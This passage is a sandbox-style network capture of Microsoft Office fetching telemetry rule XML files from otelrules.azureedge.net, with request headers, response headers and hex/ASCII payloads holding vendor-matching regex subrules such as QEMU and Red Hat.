2024-10-29 09:47:46 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:46 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:46 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:46 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6cbbe1db-401e-0083-6516-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094746Z-16849878b78nx5sne3fztmu6xc000000079000000000apqx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:46 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:46 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:46 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:46 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: a342e9ea-d01e-0066-419c-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094746Z-16849878b787wpl5wqkt5731b4000000070g00000000cxqw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:46 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:46 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:46 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:46 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 79657049-a01e-0032-1dac-241949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094746Z-15b8d89586fdmfsg1u7xrpfws00000000ag000000000c1ra x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:46 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:46 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:46 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:46 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 0944ca5a-501e-007b-292d-275ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094746Z-17c5cb586f626sn8grcgm1gf8000000004w000000000433e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:46 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:47 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:47 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:47 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094747Z-16849878b782d4lwcu6h6gmxnw000000060g000000009azu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:47 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:47 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:47 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:47 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 055e5760-501e-00a0-45eb-289d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094747Z-r197bdfb6b4b4pw6nr8czsrctg000000075g0000000006ua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:47 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:47 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:47 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:47 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ad4459d7-101e-007a-6a4c-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094747Z-16849878b78j5kdg3dndgqw0vg00000007z000000000dcb0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:47 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:47 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:47 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:47 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4814b401-401e-005b-1e73-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094747Z-17c5cb586f69w69mgazyf263an00000005h0000000004nnp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 09:47:47 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:47 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:48 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:47 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: d9732123-901e-007b-1098-25ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094747Z-16849878b78x6gn56mgecg60qc000000085g000000006ybs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:48 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:48 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:48 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:48 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: ff288f8c-c01e-007a-5a0e-26b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094748Z-17c5cb586f6lxnvg801rcb3n8n000000065g0000000068qt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:48 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:48 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:48 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:48 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 6741ff86-f01e-00aa-74b9-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094748Z-15b8d89586fzcfbd8we4bvhqds00000001ag00000000432w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:48 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:48 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
